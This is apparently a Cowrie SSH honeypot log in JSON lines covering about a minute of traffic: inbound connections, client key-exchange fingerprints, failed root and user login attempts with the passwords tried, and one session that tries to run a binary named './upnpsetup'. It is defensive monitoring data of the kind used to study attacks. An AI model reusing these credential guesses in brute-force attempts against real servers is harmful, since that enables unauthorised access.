{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":50290,"dst_ip":"10.17.0.5","dst_port":22,"session":"173743073156","protocol":"ssh","message":"New connection: 101.47.159.50:50290 (10.17.0.5:22) [session: 173743073156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:33.184985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:33.188860Z","src_ip":"101.47.159.50","session":"173743073156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:33.433996Z","src_ip":"101.47.159.50","session":"173743073156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kt@123456","message":"login attempt [root/Kt@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:34.449125Z","src_ip":"101.47.159.50","session":"173743073156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":60758,"dst_ip":"159.203.135.109","dst_port":22,"session":"557cc71bbb67","protocol":"ssh","message":"New connection: 154.16.115.34:60758 (159.203.135.109:22) [session: 557cc71bbb67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:35.266233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:35.273055Z","src_ip":"154.16.115.34","session":"557cc71bbb67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:35.298313Z","src_ip":"154.16.115.34","session":"557cc71bbb67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"exodus789","message":"login attempt [root/exodus789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:35.374780Z","src_ip":"154.16.115.34","session":"557cc71bbb67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:35.696063Z","src_ip":"101.47.159.50","session":"173743073156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37190,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb71656157cb","protocol":"ssh","message":"New connection: 8.210.75.243:37190 (10.17.0.5:22) [session: fb71656157cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:36.066493Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:36.402392Z","src_ip":"154.16.115.34","session":"557cc71bbb67","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:42.435544Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:42.683464Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"./upnpsetup","message":"CMD: ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:42.686159Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"./upnpsetup ","message":"Command not found: ./upnpsetup ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:42.688481Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c","size":38,"shasum":"3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:42.941465Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"44.7","message":"Connection lost after 44.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:42.944466Z","src_ip":"81.91.233.66","session":"c2fd2f6c2aac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":33742,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ce7ee547c09","protocol":"ssh","message":"New connection: 132.148.142.226:33742 (159.203.135.109:22) [session: 3ce7ee547c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:45.621086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:45.625418Z","src_ip":"132.148.142.226","session":"3ce7ee547c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:45.690940Z","src_ip":"132.148.142.226","session":"3ce7ee547c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":51202,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9da64f9f2a3","protocol":"ssh","message":"New connection: 159.65.58.200:51202 (159.203.135.109:22) [session: e9da64f9f2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:45.792311Z"}
{"eventid":"cowrie.login.failed","username":"hayden","password":"Uniswap#Cr@zy$P@ss!","message":"login attempt [hayden/Uniswap#Cr@zy$P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:45.892736Z","src_ip":"132.148.142.226","session":"3ce7ee547c09","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:46.007313Z","src_ip":"159.65.58.200","session":"e9da64f9f2a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:46.010759Z","src_ip":"159.65.58.200","session":"e9da64f9f2a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:46.961046Z","src_ip":"132.148.142.226","session":"3ce7ee547c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"selyunin","password":"123456","message":"login attempt [selyunin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:47.212424Z","src_ip":"159.65.58.200","session":"e9da64f9f2a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:48.434512Z","src_ip":"159.65.58.200","session":"e9da64f9f2a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":50708,"dst_ip":"159.203.135.109","dst_port":22,"session":"04affd5c3386","protocol":"ssh","message":"New connection: 143.20.185.207:50708 (159.203.135.109:22) [session: 04affd5c3386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:52.157423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:52.160941Z","src_ip":"143.20.185.207","session":"04affd5c3386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:52.274595Z","src_ip":"143.20.185.207","session":"04affd5c3386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA8VCPU32GBAMD","message":"login attempt [root/RASYAXINSA8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:52.619196Z","src_ip":"143.20.185.207","session":"04affd5c3386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:53.741932Z","src_ip":"143.20.185.207","session":"04affd5c3386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49282,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5dea45b40dd","protocol":"ssh","message":"New connection: 8.210.75.243:49282 (10.17.0.5:22) [session: d5dea45b40dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:53.810910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:53.816238Z","src_ip":"8.210.75.243","session":"d5dea45b40dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":41526,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cecfacf9fd6","protocol":"ssh","message":"New connection: 109.237.96.109:41526 (159.203.135.109:22) [session: 8cecfacf9fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:54.691174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:54.695310Z","src_ip":"109.237.96.109","session":"8cecfacf9fd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:54.785051Z","src_ip":"109.237.96.109","session":"8cecfacf9fd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11041982","message":"login attempt [root/11041982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:55.063995Z","src_ip":"109.237.96.109","session":"8cecfacf9fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:30:56.157190Z","src_ip":"109.237.96.109","session":"8cecfacf9fd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":57376,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd9703e6e56b","protocol":"ssh","message":"New connection: 91.92.40.4:57376 (10.17.0.5:22) [session: dd9703e6e56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:00.722947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:00.727077Z","src_ip":"91.92.40.4","session":"dd9703e6e56b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:00.810645Z","src_ip":"91.92.40.4","session":"dd9703e6e56b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"321","message":"login attempt [test/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:01.057221Z","src_ip":"91.92.40.4","session":"dd9703e6e56b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:02.141710Z","src_ip":"91.92.40.4","session":"dd9703e6e56b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:14.492551Z","src_ip":"8.210.75.243","session":"1653a5ea39d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":33154,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd6c1cf0dc8e","protocol":"ssh","message":"New connection: 8.210.75.243:33154 (10.17.0.5:22) [session: fd6c1cf0dc8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:33.532367Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":46920,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab377327525c","protocol":"ssh","message":"New connection: 103.27.238.114:46920 (10.17.0.5:22) [session: ab377327525c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:34.605629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:31:34.608312Z","src_ip":"103.27.238.114","session":"ab377327525c","protocol":"ssh"}
